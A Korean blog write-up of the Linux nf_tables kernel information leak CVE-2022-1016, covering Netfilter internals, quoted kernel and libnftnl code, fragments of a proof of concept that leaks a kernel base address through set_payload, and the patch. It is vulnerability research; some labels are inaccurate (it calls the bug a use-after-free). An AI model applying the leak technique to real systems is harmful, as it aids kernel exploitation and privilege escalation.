일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- kernel img
- CVE-2024-3094
- kernel build
- liblzma
- xz-utils
- newbie
- cwe-506
- 백도어
- kernel image
- rootfs
- Kernel
- Today
- Total
ZZoMb1E
[CVE] nf_tables (CVE-2022-1016) 본문
※ 자료들을 참고하여 분석을 진행하였기에 잘못된 부분이 있을지도 모릅니다.
※ 보완 혹은 수정해야 되는 부분이 있다면 알려주시면 확인 후 조치하도록 하겠습니다.
https://whrdud727.tistory.com/entry/CVE-nftables-CVE-2022-1015
바로 전에 포스팅한 CVE-2022-1015와 이어지는 취약점이다.
정확히는 CVE-2022-1015 PoC를 분석하면서 다루었던 부분이 포함되어 있다.
Target 및 기타 정보들은 동일하니 이전 게시글을 보셨다면 바로 PoC 분석을 간단하게 살펴보면 된다.
1. 분석대상
nf_tables
- Linux Kernel의 Netfilter 시스템에서 동작하는 규칙 기반 packit filtering 시스템이다.
Netfilter
- Linux에서 패킷 필터링과 패킷 처리를 관리하는 핵심 component
2. CVE Code
CVE-2022-1016
Linux Kernel의 Netfilter 서브 시스템이 메모리를 초기화 하지 않음으로 인해 민감한 정보가 노출될 수 있다.
nvd와 대다수의 레퍼런스 내용 :
[net/netfilter/nf_tables_core.c:cft_do_chain]에서 발견된 stack에 존재하는 nft_register 구조체에 대한 초기화를 하지 않아 발생하는 Use After Free 취약점으로, Kernel stack의 민감한 정보가 유출될 수 있다.
CWE-909
- 자원에 대한 최기화를 진행하지 않아 정보 유출이 될 수 있다.
CVE-824
- 초기화 되지 않은 포인터 변수에 접근 가능한 취약점으로 임의의 함수를 실행할 수 있다.
3. CVE 관련 정보
https://nvd.nist.gov/vuln/detail/cve-2022-1016
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1016
https://ubuntu.com/security/notices/USN-6013-1
4. 분석 환경 및 구현 [ CVE-2022-1015와 동일]
nf_tables 취약점을 분석하기 위해서는 하나의 조건이 필요하다.
- CAP_NET_ADMIN 권한
유저에 대한 정보가 namespace에 격리 혹은 스스로 namespace를 생성할 수 있어야 한다.
이는 일반적인 Linux에서 kconfig에 CONFIG_USER_NS가 활성화 돼있는데 이로 인해 권한 상승 공격이 성공할 수 있는 것이다.
CONFIG_USER_NS
- User Namespace를 활성하는 옵션으로 프로세스가 사용자 및 그룹 ID를 Namespace에서 독립적으로 관리할 수 있도록 하는 설정이다.
- 이 설정으로 인해 특정 사용자가 제한된 범위 내에서 root 권한을 가진 것처럼 동작이 가능해진다.
Kernel 5.12 버젼의 bzImage를 build 하여 진행한다.
빌드 방법은 아래 링크를 참고하면 된다.
https://whrdud727.tistory.com/entry/KERNEL-build
5. Target Component Analyze [ CVE-2022-1015와 동일]
취약점에 대한 분석을 수행하기 전에 Target이 어떤 기능을 지원하고 어떤 구조로 되어 있는지를 분석해 보겠다.
Exploit을 위해서 규칙 테이블을 구축을 해야 하기 때문에 어떤 함수가 어떤 동작을 하는지 흐름을 이해해야 한다.
Netlink
- User가 Kernel에 네트워크 정보를 전달하기 위해 사용되는 Interface
nf_tables
- 규칙 기반 패킷 필터링 시스템
- component
- table
- chain을 저장
- 패킷 필터링이 동작할 네트워크 계층 프로토콜을 지정 (ipv4, ipv6, etc...)
- chain
- rule, hook 데이터 구성
- hook : 어느 시점에 패킷 필터링을 수행할지 결정 (송신 / 수신)
- rule, hook 데이터 구성
- rule
- expr을 사용하여 규칙 생성 가능
- expr
- 규칙 표현식
- table
Netlink
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
NET_MSG_NEWTABLE의 값으로 Message를 전송하고 Kernel에서 nfnetlink_rcv를 통해 수신한다.
이때 Message에 대한 오류 검증을 수행하는데 Message 동작이 이전에 수행된 적이 없는 경우 nfnetlink_rcv_skb_batch()가 수행되고 그렇지 않은 경우면은 netlink_rcv_skb->nfnetlink_rcv_msg()가 실행된다.
이후 Message에 담긴 동작은 아래의 코드와 같이 실행되게 된다.
err = nc->call(net, net->nfnl, skb, nlh,
(const struct nlattr **)cda,
extack);
Message에 담긴 동작의 경우 nfnl_callback 구조체에서 정의해주고 있다.
static const struct nfnl_callback nf_tables_cb[NFT_MSG_MAX] = {
[NFT_MSG_NEWTABLE] = {
.call = nf_tables_newtable,
.type = NFNL_CB_BATCH,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
[NFT_MSG_GETTABLE] = {
.call = nf_tables_gettable,
.type = NFNL_CB_RCU,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
[NFT_MSG_DELTABLE] = {
.call = nf_tables_deltable,
.type = NFNL_CB_BATCH,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
...
NFT_MSG_NEWTABLE을 통해 nf_tables_new_table()가 호출되고 이로 인해 nf_tables에 table component가 생성되게 된다.
아래 부분은 이제 PoC에서 Exploit을 위해 사용하는 함수들 및 개념에 해당된다.
table
nft-table-add.c 코드를 통해 table이 어떤 요소들로 채워졌는지 확인이 가능하다.
static struct nftnl_table *table_add_parse(int argc, char *argv[])
{
struct nftnl_table *t;
uint16_t family;
if (strcmp(argv[1], "ip") == 0)
family = NFPROTO_IPV4;
else if (strcmp(argv[1], "ip6") == 0)
family = NFPROTO_IPV6;
else if (strcmp(argv[1], "inet") == 0)
family = NFPROTO_INET;
else if (strcmp(argv[1], "bridge") == 0)
family = NFPROTO_BRIDGE;
else if (strcmp(argv[1], "arp") == 0)
family = NFPROTO_ARP;
else {
fprintf(stderr, "Unknown family: ip, ip6, inet, bridge, arp\n");
return NULL;
}
t = nftnl_table_alloc();
if (t == NULL) {
perror("OOM");
return NULL;
}
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
nftnl_table_set_str(t, NFTNL_TABLE_NAME, argv[2]);
return t;
}
NFTNL_TABLE_NAME : table의 이름
NFTNL_TABLE_FAMILY : NFTNL_TABLE_NAME에 추가될 chain이 어떤 네트워크 계층 프로토콜의 패킷을 필터링할지 결정
chian
static struct nftnl_chain *chain_add_parse(int argc, char *argv[])
{
struct nftnl_chain *t;
int hooknum = 0;
if (argc == 6) {
/* This is a base chain, set the hook number */
if (strcmp(argv[4], "NF_INET_LOCAL_IN") == 0)
hooknum = NF_INET_LOCAL_IN;
else if (strcmp(argv[4], "NF_INET_LOCAL_OUT") == 0)
hooknum = NF_INET_LOCAL_OUT;
else if (strcmp(argv[4], "NF_INET_PRE_ROUTING") == 0)
hooknum = NF_INET_PRE_ROUTING;
else if (strcmp(argv[4], "NF_INET_POST_ROUTING") == 0)
hooknum = NF_INET_POST_ROUTING;
else if (strcmp(argv[4], "NF_INET_FORWARD") == 0)
hooknum = NF_INET_FORWARD;
else {
fprintf(stderr, "Unknown hook: %s\n", argv[4]);
return NULL;
}
}
t = nftnl_chain_alloc();
if (t == NULL) {
perror("OOM");
return NULL;
}
nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, argv[2]);
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, argv[3]);
if (argc == 6) {
nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hooknum);
nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, atoi(argv[5]));
}
return t;
}
NFTNL_CHAIN_TABLE : chain이 추가될 table 이름
NFTNL_CHAIN_NAME : chain의 이름
NFTNL_CHAIN_HOOKNUM : chain이 동작할 Hook 위치
rule / expr
static struct nftnl_rule *setup_rule(uint8_t family, const char *table,
const char *chain, const char *handle)
{
struct nftnl_rule *r = NULL;
uint8_t proto;
uint16_t dport;
uint64_t handle_num;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
if (handle != NULL) {
handle_num = atoll(handle);
nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, handle_num);
}
proto = IPPROTO_TCP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(22);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_counter(r);
return r;
}
NFTNL_RULE_TABLE : rule이 추가될 table 이름
NFTNL_RULE_CHAIN : rule이 추가될 chain 이름
payload
static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg,
uint32_t offset, uint32_t len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("payload");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_rule_add_expr(r, e);
}
add_payload()는 패킷의 데이터를 레지스터에 복사하는 함수이다.
- base : 패킷의 어떤 구조에서 시작을 할 것인지 결정
- DREG : 어떤 레지스터에 데이터를 복사할 것인지 결정
- OFFSET : 복사할 데이터의 offset 결정
- LEN : 복사할 데이터 길이를 결정
set_payload()는 반대로 레지스터의 데이터를 패킷에 복사하는 함수이다.
cmp
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
const void *data, uint32_t data_len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("cmp");
if (e == NULL) {
perror("expr cmp oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, `NFTNL_EXPR_CMP_SREG` , sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
레지스터의 값을 비교하는 표현식으로 비교 대상, 연산 종류, 비교할 값과 길이를 지정하여 사용한다.
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
const void *data, uint32_t data_len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("cmp");
if (e == NULL) {
perror("expr cmp oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, `NFTNL_EXPR_CMP_SREG` , sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
- NFT_PAYLOAD_NETWORK_HEADER를 기준으로 offsetof(struct iphdr, protocol) 만큼 떨어진 패킷 데이터를 NFT_REG_1에 1바이트 복사
- NFT_REG_1와 IPPROTO_TCP를 비교
- NFT_PAYLOAD_TRANSPORT_HEADER를 기준으로 offsetof(struct tcphdr, dest) 만큼 떨어진 패킷 데이터를 NFT_REG_1에 2바이트 복사
- NFT_REG_1이 htons(22) 인지를 비교
- counter 증가
6. Target Action [ CVE-2022-1015와 동일]
앞에서 레지스터를 사용하여 데이터를 입력하거나 쓴다고 언급을 했었다. CVE-2022-1015는 Netfilter의 레지스터 연산 과정을 악용하는 것이기 때문에 어떤 구성이 어떻게 이루어지는지를 알아야 한다.
#https://github.com/torvalds/linux/blob/master/include/net/netfilter/nf_tables.h#L119
enum nft_registers {
NFT_REG_VERDICT,
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
...
NFT_REG32_15,
};
struct nft_verdict {
u32 code;
struct nft_chain *chain;
};
struct nft_regs {
union {
u32 data[20];
struct nft_verdict verdict;
};
};
레지스터에 대한 정의는 위와 같이 구성되어 있다.
레지스터는 NFT_REG_1 ~ NFT_REG_4, NFT_REG32_0 ~ NFT_REG_15 그리고 NFT_REG_VERDICT로 구성되어 있다.
- NFT_REG_1 ~ NFT_REG_4 :16 bytes register
- NFT_REG_1은 NFT_REG32_0 ~ NFT_REG_3과 대응 (나머지도 동일)
- NFT_REG_VERDICT : 판정 레지스터
- cmp expr의 결과에 따라 nft->verdict->code 변수의 값을 설정하여 이후의 chain 흐름을 조작
chain을 추가하는 과정의 흐름을 살펴보도록 하겠다.
#https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L158
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_traceinfo info;
...
rule = *rules;
regs.verdict.code = NFT_CONTINUE;
for (; *rules ; rules++) {
rule = *rules;
nft_rule_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt);
if (regs.verdict.code != NFT_CONTINUE)
break;
}
switch (regs.verdict.code) {
case NFT_BREAK:
regs.verdict.code = NFT_CONTINUE;
continue;
case NFT_CONTINUE:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
continue;
}
break;
}
switch (regs.verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
case NF_STOLEN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
return regs.verdict.code;
}
switch (regs.verdict.code) {
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rules = rules + 1;
stackptr++;
fallthrough;
case NFT_GOTO:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE:
case NFT_RETURN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RETURN);
break;
default:
WARN_ON(1);
}
...
}
NFTNL_CHAIN_HOOKNUM에 의해서 특정 함수가 실행되면은 nft_do_chain()가 실행되게 된다.
이때 해당 chain의 expr을 차례대로 수행한다.
chain에서 rule 데이터를 가져오고, expr을 순서대로 실행할 때 expr_call_ops_eval()을 실행한다.
이후 판정 레지스터인 NFT_REG_VERDICT의 값을 확인해 가며 흐름을 제어하는 과정을 가진다.
expr이 동작가능한 함수들이다.
#https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L132
static void expr_call_ops_eval(const struct nft_expr *expr,
struct nft_regs *regs,
struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
do { if ((e) == (unsigned long)(fun)) \
return fun(expr, regs, pkt); } while (0)
X(e, nft_payload_eval);
X(e, nft_cmp_eval);
X(e, nft_meta_get_eval);
X(e, nft_lookup_eval);
X(e, nft_range_eval);
X(e, nft_immediate_eval);
X(e, nft_byteorder_eval);
X(e, nft_dynset_eval);
X(e, nft_rt_get_eval);
X(e, nft_bitwise_eval);
#undef X
#endif /* CONFIG_RETPOLINE */
expr->ops->eval(expr, regs, pkt);
}
7. Vulnerability
nf_tables에서 set에 대한 expr을 할당하는 과정에서 취약점이 발생한다.
set에 expr을 할당할 때 잘못된 플래그 검사 방식을 사용하게 된다. 이때 유효하지 않은 expr을 set할려고 하는 경우, expr은 해제되지만 set에서는 해제되지 않아 Use After Free 취약점이 발생하게 된다.
unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_traceinfo info;
info.trace = false;
if (static_branch_unlikely(&nft_trace_enabled))
nft_trace_init(&info, pkt, ®s.verdict, basechain);
...
...
...
chain이 동작할 때 적절한 함수의 실행을 위해 실행되는 함수이다.
struct nft_regs regs;
이 코드를 살펴보면 nft_regs 구조체를 생성하고 있지만 데이터는 초기화를 진행하고 있지 않고 있다.
때문에 그대로 할당하게 되는 경우 stack의 Dummy 데이터가 남아있게 되고, 해당 데이터를 CVE-2022-1015와 CVE-2022-1016의 PoC해서 다루는 방식인 set_payload같은 기능을 통해 Memory leak을 수행할 수 있다.
8. PoC Analyze
대부분의 CVE-2022-1015의 PoC와 대부분의 코드는 동일하다.
차이가 있다면 취약점을 Trigger 하는 부분이다.
system("ip addr add 127.0.0.1/8 dev lo");
system("ip link set lo up");
dummy 값이 들어간 패킷을 수신하기 위한 loopback 설정을 이전과 동일하게 해준다.
pkt_port = 1234;
memset(pkt_message, 'a', 512);
pthread_create(&leak_sender, NULL, sender_thread, NULL);
pthread_create(&leak_receiver, NULL, receiver_thread, NULL);
pthread_join(leak_sender, NULL);
pthread_join(leak_receiver, NULL);
hexdump(pkt_buffer, 80);
unsigned long leak = 0;
memcpy((char*)&leak,pkt_buffer+0x38,8);
unsigned long kernel_base = leak - 0xa7133;
printf("[+] kernel_base = 0x%lx\n", kernel_base);
그리고 나서 악성 데이터를 송수신하며 Kernel Stack의 데이터를 구해는 부분이다.
add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xfffffffc,0x20,0x30);
CVE-2022-1015에서는 Stack Out Of Bounds와 IntagerOverflow를 위해 위와 같이 매우 큰 값을 인자로 전달을 했었다.
하지만 CVE-2022-1016은 nft_regs에 의해 할당된 공간에 존재하는 Kernel Stack의 dummy 데이터를 구해내는 것이기에 아래와 같이 작성해주면 된다.
add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 8,0x20,0x30);
nft_payload_set_eval->skb_store_bits->memcpy
위 함수 부분에 breakpoints를 설정하여 Debugging을 수행한다.
memcpy()를 통해 nft_regs 구조체 데이터를 Kernel과 User가 송수신하는 패킷 데이터로 복사하는 것을 볼 수 있다.
nft_regs 구조체가 담긴 stack 메모리를 살펴보면 초기화를 하지 않아 dummy 데이터가 많이 있는 것을 볼 수 있다.
이 데이터를 0x30만큼 패킷에 보내어 loopback을 통해 수신하면 아래와 같이 User 영역에서 Kernel 단의 메모리 주소를 받을 수 있다.
9. Patch
취약한 버젼에서는 nft_regs 구조체를 할당할 때 메모리를 초기화하지 않고 있었다.
struct nft_regs regs;
이후 버젼에서는 선언을 해줄 때 메모리를 초기화를 하도록 코드가 변경되었다.
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct nft_rule_dp *rule, *last_rule;
const struct net *net = nft_net(pkt);
const struct nft_expr *expr, *last;
struct nft_regs regs = {};
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_rule_blob *blob;
struct nft_traceinfo info;
'STUDY > CVE && Fuzzing' 카테고리의 다른 글
[CVE] nf_tabes (CVE-2024-1086) (1) | 2025.01.16 |
---|---|
[CVE] nf_tables (CVE-2022-32250) (0) | 2024.11.26 |
[CVE] nf_tables (CVE-2022-1015) (0) | 2024.11.15 |
[CVE] sshd (CVE-2024-6387) - 비공개 (0) | 2024.10.10 |
[CVE] liblzma.so (CVE-2024-3094) (6) | 2024.10.10 |